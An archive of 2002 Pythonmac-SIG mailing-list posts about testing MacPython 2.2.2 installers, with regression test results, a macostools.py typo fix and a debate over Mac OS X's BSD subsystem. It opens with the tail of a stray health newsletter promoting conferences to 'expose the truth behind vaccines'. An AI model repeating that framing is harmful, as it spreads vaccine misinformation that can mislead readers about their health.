<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://mercola.com/2002/oct/5/apn_conference.htm">The 2nd Annual 
Conference on Applied Neurobiology</A> - The principles of ART and ARN will be 
the focus in this conference centered on Lyme Disease and Co-Infections. I will 
speak in this think-tank style discussion along with some of the world's leading 
medical practitioners.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://mercola.com/2002/sep/18/nvic.htm">Vaccines: A Major Conference 
Separating Fact from Fiction</A> - Over twenty-seven of the world's leading 
medical, psychological and legal experts will expose the truth behind vaccines 
in this national event that promises to influence the course of U.S. vaccine 
practice and policy. Medical practitioners and the general public are encouraged 
to attend this conference on November 7-9 in Arlington, Virginia.</FONT></P>
<P><FONT face=Verdana size=2><A 
href="http://mercola.com/2001/jul/18/vaccine_seminars.htm">More Vaccine 
Seminars</A> - Opportunities to attend live lectures around the country on this 
vitally important issue of our times. Have your specific questions personally 
answered with practical alternatives.</FONT></P>
<P>
<P><!-- #BeginLibraryItem "/Library/index.bottom.lbi" -->
<HR>

<P><FONT face=Verdana size=2><STRONG><FONT color=#ff0000>Having Trouble With the 
Newsletter?</FONT></STRONG><FONT face=Verdana size=2><STRONG> </STRONG>We are in 
the process of upgrading to a new e-mail server, but in the meantime you can go 
to </FONT><A href="http://www.mercola.com/"><FONT face=Verdana 
size=2>www.mercola.com</FONT></A><FONT face=Verdana size=2> and click on 
</FONT><FONT face=Verdana color=#0000ff size=2>"Current Issue"</FONT><FONT 
face=Verdana size=2> to obtain the Web version of this email.</FONT></FONT></P>
<DIV>
<P><FONT face=Verdana size=2><FONT face=Verdana size=2><STRONG>Records of all of 
the back issues of the Newsletters can be viewed by clicking </STRONG></FONT><A 
href="http://www.mercola.com/index.html"><FONT face=Verdana size=2><A 
href="http://www.mercola.com/index.html">http://www.mercola.com/index.html</A></FONT></A></FONT></P><FONT 
face=Verdana size=2>
<P><FONT face=Verdana size=2><STRONG>Are you tired of clicking on all the links 
to the articles?</STRONG> To sign up for the FULL TEXT version of this 
newsletter you can send a blank e-mail to: <A 
href="mailto:healthnews-subscribe@topica.com">Healthnews-subscribe@topica.com</A> 
The full newsletter is 20-40 pages long and can be up to 250KB, so if you have a 
slow Internet connection it will take several minutes to download the e-mail. 
WARNING: This subscription does not work if you use AOL for your 
e-mail.</FONT></FONT></P></DIV>
<HR>

<DIV align=left>
<P><FONT face=Verdana size=2><B><FONT color=#ff0000>©Copyright Dr. Joseph 
Mercola, 2002. </FONT></B>All Rights Reserved. This content may be copied in 
full, as long as copyright, contact, and creation information is given, only if 
used only in a not-for-profit format. If possible, I would also appreciate an 
endorsement and encouragement to subscribe to the newsletter. If any other use 
is desired, written permission is required.</FONT></P>
<P><FONT face=Arial size=2>You are currently subscribed as pythonmac-sig@python.org, to 
unsubscribe please send a blank email to </FONT><FONT face=Arial 
size=2>ted+unsubscribe@lists.mercola.com</FONT><FONT face=Arial 
size=2>.</FONT></P></DIV></FONT></DIV></FONT></DIV></BODY></HTML>



From richardac@mac.com  Sat Oct 26 19:45:42 2002
From: richardac@mac.com (Richard Collins)
Date: Sat, 26 Oct 2002 20:45:42 +0200
Subject: [Pythonmac-SIG] difference between active and full
Message-ID: <210F269B-E913-11D6-8156-000A27B3E504@mac.com>

The difference between and active and full installer is that the active 
installer requires a net connection during the install. The full 
installer will work offline. You will need the full installer when 
installing on a different machine than what you download from. (its a 
bummer when you download the active installer, without knowing that it 
is an active one, then try and install on some other machine)

regards

Richard Collins



From richardac@mac.com  Sat Oct 26 20:15:48 2002
From: richardac@mac.com (Richard Collins)
Date: Sat, 26 Oct 2002 21:15:48 +0200
Subject: [Pythonmac-SIG] 2.2.2 install experiences
Message-ID: <55866864-E917-11D6-8156-000A27B3E504@mac.com>

Hello folks,

Here is some install feedback.

After downloading the full installer and rebooting into OS 9, running 
the installer presented no problems. i chose the carbon version and 
installed the developer tools.

Although I've lurked on the list for quite a while, I'm pretty much a 
python newbie, so i started at the start.

example0 would not work for me in the IDE, but it worked OK after 
saving as an applet, which makes sense as the first tutorial is about 
making applications.

things meant to be in the example0 folder were not there (there is a 
warning that the documentation is old).

After some other stuff and distraction i was back in OS X, and 
remembered that when dicking with 2.2.1 a while back there were some 
tests i could run from the interpreter. After finding my notes to get 
the commands i got this

here's a summary of the test results

155 tests OK.
2 tests failed:
     test_frozen test_socket
36 tests skipped:
     test_al test_atexit test_bsddb test_cd test_cl test_commands
     test_crypt test_curses test_dbm test_dl test_email_codecs
     test_fcntl test_fork1 test_gl test_grp test_imgfile test_largefile
     test_linuxaudiodev test_locale test_longexp test_mmap test_nis
     test_openpty test_poll test_popen2 test_pty test_pwd test_signal
     test_socket_ssl test_socketserver test_sunaudiodev
     test_threaded_import test_timing test_unicode_file test_winreg
     test_winsound
3 skips unexpected on mac:
     test_longexp test_threaded_import test_atexit
Traceback (most recent call last):
   File "<input>", line 1, in ?
   File "MacHD1:Applications (Mac OS 9):Python 
2.2.2:Lib:test:regrtest.py", line 249, in main
     sys.exit(len(bad) > 0)
SystemExit: 1


BTW, the docs lead me to believe i could paste "import test.regrtest ; 
test.regrtest.main()" into the interpreter, but it didn't work, running 
the two commands separately did.

hope this helps.


regards

Richard Collins



From dan@danshafer.com  Sat Oct 26 23:23:21 2002
From: dan@danshafer.com (Dan Shafer)
Date: Sat, 26 Oct 2002 15:23:21 -0700
Subject: [Pythonmac-SIG] OSX Install and Test Report
Message-ID: <a05200a00b9e0c5dc773d@[63.205.23.218]>

Install went fine until I got a dialog warning me that 
ConfigurePythonCarbon would probably fail. It did. Turns out you have 
to be root to install this version, apparently. Once I logged out and 
came back in as root, everything went smoothly.

Initial automatic tests ran as expected.

I'm off to install wxPython 2.3.3.1 and do basic testing with that.
-- 
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-
How smart do you work? What's your TQ (Time Quotient)?
Find out free in 2 minutes at http://www.thinktq.com/Results2002
Free one-year training course in your email box - $120 value
Get an insightful book written and published EXCLUSIVELY FOR YOU


From dan@danshafer.com  Sat Oct 26 23:59:24 2002
From: dan@danshafer.com (Dan Shafer)
Date: Sat, 26 Oct 2002 15:59:24 -0700
Subject: [Pythonmac-SIG] Launching wxPython from 2.2.2
Message-ID: <a05200a01b9e0ce0a622a@[63.205.23.218]>

OK, I give up.

I installed wxPython 2.3.3.1 after confirming Python 2.2.2 was 
working. I tried to run the demo after getting rid of all the 
non-2.2.2 Python stuff I could find.

Double-clicking the demo.py file in wxPython originally said there 
was no file association. I created one with PythonInterpreter in 
2.2.2. I get an error on launch that says "This is not a script. It 
is probably an auxiliary Python file such as an application template 
or a preference file." So I tried associating it with PythonIDE. 
PythonIDE launches correctly but I get a dialog that says Can't open 
file of type ".

What do I do now?
-- 
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-
How smart do you work? What's your TQ (Time Quotient)?
Find out free in 2 minutes at http://www.thinktq.com/Results2002
Free one-year training course in your email box - $120 value
Get an insightful book written and published EXCLUSIVELY FOR YOU


From guess-who@kevin-masako.com  Sat Oct 26 23:51:24 2002
From: guess-who@kevin-masako.com (Kevin Ollivier)
Date: Sat, 26 Oct 2002 15:51:24 -0700
Subject: [Pythonmac-SIG] Launching wxPython from 2.2.2
In-Reply-To: <a05200a01b9e0ce0a622a@[63.205.23.218]>
Message-ID: <74695FE2-E935-11D6-9E7D-00039384E8D4@kevin-masako.com>

wxPython won't work with this version of MacPython, because wxPython 
currently requires MachoPython (aka Unix Python) to run. MachoPython 
can also be downloaded from the wxPython SourceForge project page. (I 
think the specific problem you are having here though is that the 
script does not have its file type set to MacPython. Since this is the 
OS 9 compatible version, I think files still need the right file type, 
not just the right extension, to run properly.)

Kevin

On Saturday, October 26, 2002, at 03:59 PM, Dan Shafer wrote:

> OK, I give up.
>
> I installed wxPython 2.3.3.1 after confirming Python 2.2.2 was 
> working. I tried to run the demo after getting rid of all the 
> non-2.2.2 Python stuff I could find.
>
> Double-clicking the demo.py file in wxPython originally said there was 
> no file association. I created one with PythonInterpreter in 2.2.2. I 
> get an error on launch that says "This is not a script. It is probably 
> an auxiliary Python file such as an application template or a 
> preference file." So I tried associating it with PythonIDE. PythonIDE 
> launches correctly but I get a dialog that says Can't open file of 
> type ".
>
> What do I do now?
> -- 
> -.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-
> How smart do you work? What's your TQ (Time Quotient)?
> Find out free in 2 minutes at http://www.thinktq.com/Results2002
> Free one-year training course in your email box - $120 value
> Get an insightful book written and published EXCLUSIVELY FOR YOU
>
> _______________________________________________
> Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
> http://mail.python.org/mailman/listinfo/pythonmac-sig
>



From ross@sprynet.com  Sun Oct 27 05:05:21 2002
From: ross@sprynet.com (Ross M Karchner)
Date: Sun, 27 Oct 2002 01:05:21 -0400
Subject: [Pythonmac-SIG] socket.ssl on jaguar?
Message-ID: <B1985E92-E969-11D6-83F5-003065F9CDA8@sprynet.com>

Hello,

Does anyone know an easy (or even moderately difficult) way to add 
socket.ssl support to the python version installed by OS X 10.2?

I've tried moving socket.py and socket.pyo from the Wx Macho install 
into my module search path, and even that doesn't work.

If anybody can offer a pointer, I'd appreciate it.

I'd figure if Apple was going to include python and openssl, they might 
as well go that extra step though...

-Ross



From brian_l@mac.com  Sun Oct 27 05:35:48 2002
From: brian_l@mac.com (Brian Lenihan)
Date: Sat, 26 Oct 2002 22:35:48 -0700
Subject: [Pythonmac-SIG] socket.ssl on jaguar?
In-Reply-To: <B1985E92-E969-11D6-83F5-003065F9CDA8@sprynet.com>
Message-ID: <F27D8ECE-E96D-11D6-B6DD-003065F88956@mac.com>

On Saturday, October 26, 2002, at 10:05  PM, Ross M Karchner wrote:

> Hello,
>
> Does anyone know an easy (or even moderately difficult) way to add 
> socket.ssl support to the python version installed by OS X 10.2?

bbum is a busy beaver

http://radio.weblogs.com/0100490/2002/10/16.html#a307

You might as well follow the readline link while you are there.



From Jack.Jansen@oratrix.com  Sun Oct 27 16:25:04 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Sun, 27 Oct 2002 17:25:04 +0100
Subject: [Pythonmac-SIG] MacPython 2.2.2 final candidate
In-Reply-To: <0B5E169A-E89B-11D6-8AEA-003065D5B478@cs.stanford.edu>
Message-ID: <A68B520E-E9C8-11D6-ABC3-003065517236@oratrix.com>

On zaterdag, oktober 26, 2002, at 06:26 , Jed Burgess wrote:

>>
>> Besides the lack of warning, I haven't set up my system to 
>> allow me to log on as root, so how can I do this at all?
>>
>
> Open the NetInfo Manager located in /Applications/Utilities.  
> Go to the Security menu and select Authenticate.  Once you have 
> typed in your password (you must be a admin of your computer), 
> go back to the Security menu and select Enable Root User.

... but bote that this is generally not a good idea, and 
definitely not needed for MacPython.

I'll post a new installer shortly,
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From Jack.Jansen@oratrix.com  Sun Oct 27 16:31:29 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Sun, 27 Oct 2002 17:31:29 +0100
Subject: [Pythonmac-SIG] OSX Install and Test Report
In-Reply-To: <a05200a00b9e0c5dc773d@[63.205.23.218]>
Message-ID: <8BF84512-E9C9-11D6-ABC3-003065517236@oratrix.com>

On zondag, oktober 27, 2002, at 12:23 , Dan Shafer wrote:

> Install went fine until I got a dialog warning me that 
> ConfigurePythonCarbon would probably fail. It did. Turns out 
> you have to be root to install this version, apparently. Once I 
> logged out and came back in as root, everything went smoothly.

You definitely shouldn't be root when installing MacPython. The 
failure you encountered isn't the one the warning message was 
about, but another failure (because of a difference in 
permissions on Jaguar).

Now that you've installed MacPython as root it may be best to 
uninstall it (remove /Applications/MacPython 2.2.2, and all 
files in /Library/CFMSupport with "python" in their name) and 
start again (as a normal user with admin privileges) once I've 
uploaded a new distribution (later today).
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From Jack.Jansen@oratrix.com  Sun Oct 27 19:42:36 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Sun, 27 Oct 2002 20:42:36 +0100
Subject: [Pythonmac-SIG] MacPython 2.2.2 - second final candidate
In-Reply-To: <A68B520E-E9C8-11D6-ABC3-003065517236@oratrix.com>
Message-ID: <3EAA5D34-E9E4-11D6-ABC3-003065517236@oratrix.com>

New installers have been placed in 
http://www.cwi.nl/ftp/jack/python/mac . These solve the issue 
with the permission problem on Jaguar. Only one file 
(macostools.py) has been changed, so there's no new build 
number. Please test this on Jaguar, I haven't had a chance to do 
so yet.

I also got one report about the installer failing on MacOS 8.6, 
so I would like to hear additional success/failure reports for 
8.6 (and 8.1, for which I have had no reports yet).
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From brian_l@mac.com  Sun Oct 27 21:56:38 2002
From: brian_l@mac.com (Brian Lenihan)
Date: Sun, 27 Oct 2002 13:56:38 -0800
Subject: [Pythonmac-SIG] MacPython 2.2.2 - second final candidate
In-Reply-To: <3EAA5D34-E9E4-11D6-ABC3-003065517236@oratrix.com>
Message-ID: <F7E13CDE-E9F6-11D6-B0EE-003065F88956@mac.com>

On Sunday, October 27, 2002, at 11:42  AM, Jack Jansen wrote:
> Please test this on Jaguar, I haven't had a chance to do so yet.

There is a typo in Mac:Lib:macostools.py, line 74, which causes 
ConfigurePythonCarbon to fail adding PythonCoreCarbon 2.2.2 to
Libraries:CFM Support

except macfs.Error:

should be except macfs.error



From jwblist@olympus.net  Mon Oct 28 04:28:06 2002
From: jwblist@olympus.net (John W Baxter)
Date: Sun, 27 Oct 2002 20:28:06 -0800
Subject: [Pythonmac-SIG] Re: Let's do it completely different!
In-Reply-To: <51B62EFFBC83D6118ADA00096BB030A11B346C@USAMCMS7>
References: <51B62EFFBC83D6118ADA00096BB030A11B346C@USAMCMS7>
Message-ID: <p05200e03b9e26cb5044b@[192.168.1.50]>

At 11:40 -0400 10/25/2002, Schollnick, Benjamin wrote:
>At 15:04 -0700 10/23/2002, William Dozier wrote:
>> >On Wednesday, Oct 23, 2002, at 03:26PM, kevin parks <kp87@lycos.com>
>wrote:
>> >>Beside the terminal is a pretty cool app and *ever* mac will already
>> >>have one!
>> >
>> >Or not. Isn't the "BSD layer" install optional?
>
>> > As has been explained to me (perhaps accurately), the BSD layer is
>optional
>> for licensing reasons.  Lots of things fail if it is not installed (many
>> installers, including from Apple, etc).  So it's not really optional.
>
>Could you elaborate on this?  I'm just extremely curious at why the
>BSD layer being "optional" would affect licensing?

As someone who has never read the Berkeley license, sorry, no, I can't.

If there is any truth (I've already disclaimed ;-)), it would be that
making the BSD subsystem an automatically installed part of Mac OS X
(instead of an optional part which does get installed) might imply a
requirement to open more source code than Apple wants to.

Or it might be something else entirely, or the whole license explanation
may be wrong, or Apple Legal may be being overly careful.

  --John
-- 
John Baxter   jwblist@olympus.net      Port Ludlow, WA, USA


From Jack.Jansen@cwi.nl  Mon Oct 28 09:33:28 2002
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Mon, 28 Oct 2002 10:33:28 +0100
Subject: [Pythonmac-SIG] MacPython 2.2.2 - second final candidate
In-Reply-To: <F7E13CDE-E9F6-11D6-B0EE-003065F88956@mac.com>
Message-ID: <50A7F0E8-EA58-11D6-9E5B-0030655234CE@cwi.nl>

On Sunday, Oct 27, 2002, at 22:56 Europe/Amsterdam, Brian Lenihan wrote:

>
> On Sunday, October 27, 2002, at 11:42  AM, Jack Jansen wrote:
>> Please test this on Jaguar, I haven't had a chance to do so yet.
>
> There is a typo in Mac:Lib:macostools.py, line 74, which causes 
> ConfigurePythonCarbon to fail adding PythonCoreCarbon 2.2.2 to
> Libraries:CFM Support
>
> except macfs.Error:
>
> should be except macfs.error

Bummer!

Ok, I'll try to do another one tonight:-(
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From bobsavage@mac.com  Mon Oct 28 15:59:42 2002
From: bobsavage@mac.com (Bob Savage)
Date: Mon, 28 Oct 2002 09:59:42 -0600
Subject: [Pythonmac-SIG] BSD subsystem - optional? (was: Let's do it completely different!)
In-Reply-To: <p05200e03b9e26cb5044b@[192.168.1.50]>
Message-ID: <458B979B-EA8E-11D6-B94E-00306547CFF0@mac.com>

On Sunday, October 27, 2002, at 10:28 PM, John W Baxter wrote:

> At 11:40 -0400 10/25/2002, Schollnick, Benjamin wrote:
>> At 15:04 -0700 10/23/2002, William Dozier wrote:
>>
>> Could you elaborate on this?  I'm just extremely curious at why the
>> BSD layer being "optional" would affect licensing?
>
> As someone who has never read the Berkeley license, sorry, no, I can't.
>
> If there is any truth (I've already disclaimed ;-)), it would be that
> making the BSD subsystem an automatically installed part of Mac OS X
> (instead of an optional part which does get installed) might imply a
> requirement to open more source code than Apple wants to.
>
> Or it might be something else entirely, or the whole license 
> explanation
> may be wrong, or Apple Legal may be being overly careful.
>
>   --John
>

The Berkeley license does not require anything except that you don't 
sue them, and that you admit they wrote what they wrote. It does not 
require you to release additional source code, nor does it require you 
to keep your software free or any other such thing. I suspect the 
appearance of the BSD package in the installer has absolutely nothing 
to do with Apple Legal.

There might have been a time when Apple's management thought that it 
would be a good idea to make the BSD stuff optional in order to 
convince people that even though there was Unix underneath, they 
wouldn't need to touch it. One other reason is that they might have 
felt the need to respond to Mac Managers (e.g. anybody responsible for 
a classroom of Macs in a high school) to disable the commandline for 
security reasons. However this is all speculation fueled by the 
appearance of the BSD package in the installer.

As far as I know, the BSD install is *not* actually an optional 
install; it appears as a separate installable package, but it is grayed 
out in the installer every time I have checked, and therefore a 
mandatory install. Maybe it never was meant to be an optional install. 
The way the BSD package appears in the installer might have just led to 
a rumor about it becoming an optional install.

I think we should assume the BSD stuff is installed, until we have some 
sort of evidence (e.g. a statement in a WWDC session) that it is unwise 
to do so.

Bob



From Jack.Jansen@oratrix.com  Mon Oct 28 19:45:21 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Mon, 28 Oct 2002 20:45:21 +0100
Subject: [Pythonmac-SIG] MacPython 2.2.2 - third final candidate
In-Reply-To: <3EAA5D34-E9E4-11D6-ABC3-003065517236@oratrix.com>
Message-ID: <CB27DE1E-EAAD-11D6-8360-003065517236@oratrix.com>

On zondag, oktober 27, 2002, at 08:42 , Jack Jansen wrote:

> New installers have been placed in 
> http://www.cwi.nl/ftp/jack/python/mac .

Yet another set of installers have been put there, with the typo 
in macostools fixed.
As with yesterdays' installers I haven't had a chance to test 
these on Jaguar, so please report failure back here so other 
people don't spend time downloading something that doesn't work.

And I'm also still waiting for OS8 reports....
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From aparente@adobe.com  Mon Oct 28 20:04:31 2002
From: aparente@adobe.com (Alexandre Parenteau)
Date: Mon, 28 Oct 2002 12:04:31 -0800
Subject: [Pythonmac-SIG] MacPython 2.2.2 - third final candidate
In-Reply-To: <CB27DE1E-EAAD-11D6-8360-003065517236@oratrix.com>
Message-ID: <B9E2D84F.883C%aparente@adobe.com>

Jack,

Tested with Jaguar 10.2.1. The installation went smooth this time, it didn't
ask to authenticate (I'm running not as root, but from a regular account
which has the admin account set, don't know if that matters or not).

This from "import test.autotest"

156 tests OK.
1 test failed:
    test_frozen
36 tests skipped:
    test_al test_atexit test_bsddb test_cd test_cl test_commands
    test_crypt test_curses test_dbm test_dl test_email_codecs
    test_fcntl test_fork1 test_gl test_grp test_imgfile test_largefile
    test_linuxaudiodev test_locale test_longexp test_mmap test_nis
    test_openpty test_poll test_popen2 test_pty test_pwd test_signal
    test_socket_ssl test_socketserver test_sunaudiodev
    test_threaded_import test_timing test_unicode_file test_winreg
    test_winsound
3 skips unexpected on mac:
    test_longexp test_threaded_import test_atexit

Alex.

-- 
Alexandre Parenteau
Computer Scientist
Core Technologies, AGM
Adobe Systems, Inc.
408-536-6166


> 
> On zondag, oktober 27, 2002, at 08:42 , Jack Jansen wrote:
> 
>> New installers have been placed in
>> http://www.cwi.nl/ftp/jack/python/mac .
> 
> Yet another set of installers have been put there, with the typo
> in macostools fixed.
> As with yesterdays' installers I haven't had a chance to test
> these on Jaguar, so please report failure back here so other
> people don't spend time downloading something that doesn't work.
> 
> And I'm also still waiting for OS8 reports....
> --
> - Jack Jansen        <Jack.Jansen@oratrix.com>
> http://www.cwi.nl/~jack -
> - If I can't dance I don't want to be part of your revolution --
> Emma Goldman -
> 
> 
> _______________________________________________
> Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
> http://mail.python.org/mailman/listinfo/pythonmac-sig
> 



From Martina@Oefelein.de  Mon Oct 28 20:42:17 2002
From: Martina@Oefelein.de (Martina Oefelein)
Date: Mon, 28 Oct 2002 21:42:17 +0100
Subject: [Pythonmac-SIG] MacPython 2.2.2 - third final candidate
In-Reply-To: <B9E2D84F.883C%aparente@adobe.com>
Message-ID: <BF4AF764-EAB5-11D6-8AA8-000A27979162@Oefelein.de>

Hi Jack,

Tested with Jaguar 10.2.1, too. Results similar to Alexandre, but one 
more test failed:

155 tests OK.
2 tests failed:
     test_frozen test_socket
36 tests skipped:
     test_al test_atexit test_bsddb test_cd test_cl test_commands
     test_crypt test_curses test_dbm test_dl test_email_codecs
     test_fcntl test_fork1 test_gl test_grp test_imgfile test_largefile
     test_linuxaudiodev test_locale test_longexp test_mmap test_nis
     test_openpty test_poll test_popen2 test_pty test_pwd test_signal
     test_socket_ssl test_socketserver test_sunaudiodev
     test_threaded_import test_timing test_unicode_file test_winreg
     test_winsound
3 skips unexpected on mac:
     test_longexp test_threaded_import test_atexit

This is the output of the failed tests:
test test_frozen failed -- import __phello__.foo should have failed
test test_socket crashed -- socket.herror: (3, 'host not found')

ciao
Martina



From Chris.Barker@noaa.gov  Mon Oct 28 22:03:16 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Mon, 28 Oct 2002 14:03:16 -0800
Subject: [Pythonmac-SIG] MacPython 2.2.2 - third final candidate
In-Reply-To: <B9E2D84F.883C%aparente@adobe.com>
Message-ID: <0F6B2B52-EAC1-11D6-9575-000393A96660@noaa.gov>

On Monday, October 28, 2002, at 12:04 PM, Alexandre Parenteau wrote:
> Tested with Jaguar 10.2.1. The installation went smooth this time, it 
> didn't
> ask to authenticate (I'm running not as root, but from a regular 
> account
> which has the admin account set, don't know if that matters or not).

Same here. No install problems, and configure Python carbon seemed to 
work just fine when the installer ran it.

IDE, etc. seems to work just fine, Numeric seems to work fine as well. 
I havn't tested PIL yet.

The first time I tried autotest, I put the interpreter in the 
background, and it appeared to hang. It may have run all the tests, but 
it wouldn't refresh the screen, so I couldn't tell. It did quit fine. I 
tried again and got exactly what alex got. Nice work, Jack

-Chris

Christopher Barker, Ph.D.
Oceanographer
                                     		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov



From niel_mayhew@mac.com  Mon Oct 28 21:33:36 2002
From: niel_mayhew@mac.com (Neil Mayhew)
Date: Mon, 28 Oct 2002 14:33:36 -0700
Subject: [Pythonmac-SIG] MacPython 2.2.2 - third final candidate
In-Reply-To: <CB27DE1E-EAAD-11D6-8360-003065517236@oratrix.com>
Message-ID: <B9E2FB40.335A%niel_mayhew@mac.com>

AOK for me (Jaguar on 800MHz G4), except for the failure in test_socket,
which is due to my machine not having a hostname.

Haven=B9t had a chance yet to test on my DP-G4 at work.

No problems with the /Library/CFMSupport permissions now.  I ran the instal=
l
as an admin user.

Thanks, Jack,

--Neil



From Chris.Barker@noaa.gov  Mon Oct 28 22:02:09 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Mon, 28 Oct 2002 14:02:09 -0800
Subject: [Pythonmac-SIG] MacPython 2.2.2 - third final candidate
References: <0F6B2B52-EAC1-11D6-9575-000393A96660@noaa.gov>
Message-ID: <3DBDB3E1.D1D949F6@noaa.gov>

Forgot to mention that this is a dual Processor G4. Maybe that has
something to do with the apparent hang of the interpreter? I'll keep the
list updated as I use it more.

-Chris

-- 
Christopher Barker, Ph.D.
Oceanographer
                                    		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov


From lmeyn@mail.arc.nasa.gov  Mon Oct 28 23:49:02 2002
From: lmeyn@mail.arc.nasa.gov (Larry Meyn)
Date: Mon, 28 Oct 2002 15:49:02 -0800
Subject: [Pythonmac-SIG] MacPython 2.2.2 - third final candidate
In-Reply-To: <CB27DE1E-EAAD-11D6-8360-003065517236@oratrix.com>
Message-ID: <D5E8CA16-EACF-11D6-AA3D-000A277E7E9E@mail.arc.nasa.gov>

Results on a 350 Mhz iMac under OS X 10.2.1

156 tests OK.
2 tests failed:
     test_frozen test_socket
35 tests skipped:
     test_al test_atexit test_bsddb test_cd test_cl test_commands
     test_crypt test_curses test_dbm test_dl test_email_codecs
     test_fcntl test_fork1 test_gl test_grp test_imgfile test_largefile
     test_linuxaudiodev test_locale test_longexp test_mmap test_nis
     test_openpty test_poll test_popen2 test_pty test_pwd test_signal
     test_socket_ssl test_socketserver test_sunaudiodev test_timing
     test_unicode_file test_winreg test_winsound
2 skips unexpected on mac:
     test_longexp test_atexit

test test_frozen failed -- import __phello__.foo should have failed
test test_socket crashed -- socket.herror: (3, 'host not found')




From kaweh@knuddl.org  Tue Oct 29 00:09:17 2002
From: kaweh@knuddl.org (Kaweh Kazemi)
Date: Tue, 29 Oct 2002 01:09:17 +0100
Subject: [Pythonmac-SIG] MacPython 2.2.2 - third final candidate
In-Reply-To: <CB27DE1E-EAAD-11D6-8360-003065517236@oratrix.com>
Message-ID: <AA8479AC-EAD2-11D6-AF7F-000393AB531C@knuddl.org>

iBook, 700Mhz, OSX 10.2.1

157 tests OK.
1 test failed:
     test_frozen
35 tests skipped:
     test_al test_atexit test_bsddb test_cd test_cl test_commands
     test_crypt test_curses test_dbm test_dl test_email_codecs
     test_fcntl test_fork1 test_gl test_grp test_imgfile test_largefile
     test_linuxaudiodev test_locale test_longexp test_mmap test_nis
     test_openpty test_poll test_popen2 test_pty test_pwd test_signal
     test_socket_ssl test_socketserver test_sunaudiodev test_timing
     test_unicode_file test_winreg test_winsound
2 skips unexpected on mac:
     test_longexp test_atexit



From jwblist@olympus.net  Tue Oct 29 04:16:22 2002
From: jwblist@olympus.net (John W Baxter)
Date: Mon, 28 Oct 2002 20:16:22 -0800
Subject: [Pythonmac-SIG] BSD subsystem - optional? (was: Let's do it
 completely different!)
In-Reply-To: <458B979B-EA8E-11D6-B94E-00306547CFF0@mac.com>
References: <458B979B-EA8E-11D6-B94E-00306547CFF0@mac.com>
Message-ID: <p05200e05b9e3bba08403@[192.168.1.50]>

At 9:59 -0600 10/28/2002, Bob Savage wrote:
>As far as I know, the BSD install is *not* actually an optional
>install; it appears as a separate installable package, but it is grayed
>out in the installer every time I have checked, and therefore a
>mandatory install. Maybe it never was meant to be an optional install.
>The way the BSD package appears in the installer might have just led to
>a rumor about it becoming an optional install.
>
It was really optional in 10.0 (in the installer)...but lots of things
didn't work without it.  I haven't paid attention since, because I want it.

>I think we should assume the BSD stuff is installed, until we have some
>sort of evidence (e.g. a statement in a WWDC session) that it is unwise
>to do so.

I think it's OK to assume it's there.

   --John

-- 
John Baxter   jwblist@olympus.net      Port Ludlow, WA, USA


From dev@brotsky.com  Tue Oct 29 08:21:54 2002
From: dev@brotsky.com (Dan Brotsky)
Date: Tue, 29 Oct 2002 00:21:54 -0800
Subject: [Pythonmac-SIG] MacPython 2.2.2 - third final candidate
In-Reply-To: <CB27DE1E-EAAD-11D6-8360-003065517236@oratrix.com>
Message-ID: <7B602993-EB17-11D6-8114-0003931036B4@brotsky.com>

Success like everyone else on 10.2.1, Jack:

> 3 tests failed:
>     test_frozen test_math test_socket
> 35 tests skipped:
>     test_al test_atexit test_bsddb test_cd test_cl test_commands
>     test_crypt test_curses test_dbm test_dl test_email_codecs
>     test_fcntl test_fork1 test_gl test_grp test_imgfile test_largefile
>     test_linuxaudiodev test_locale test_longexp test_mmap test_nis
>     test_openpty test_poll test_popen2 test_pty test_pwd test_signal
>     test_socket_ssl test_socketserver test_sunaudiodev test_timing
>     test_unicode_file test_winreg test_winsound
> 2 skips unexpected on mac:
>     test_longexp test_atexit

Plus also success on 9.2.2 in both Carbon:

> 4 tests failed:
>     test_frozen test_longexp test_socket test_zlib
> 34 tests skipped:
>     test_al test_atexit test_bsddb test_cd test_cl test_commands
>     test_crypt test_curses test_dbm test_dl test_email_codecs
>     test_fcntl test_fork1 test_gl test_grp test_imgfile test_largefile
>     test_linuxaudiodev test_locale test_mmap test_nis test_openpty
>     test_poll test_popen2 test_pty test_pwd test_signal
>     test_socket_ssl test_socketserver test_sunaudiodev test_timing
>     test_unicode_file test_winreg test_winsound
> 1 skip unexpected on mac:
>     test_atexit

and Classic:

> 4 tests failed:
>     test_frozen test_longexp test_socket test_zlib
> 34 tests skipped:
>     test_al test_atexit test_bsddb test_cd test_cl test_commands
>     test_crypt test_curses test_dbm test_dl test_email_codecs
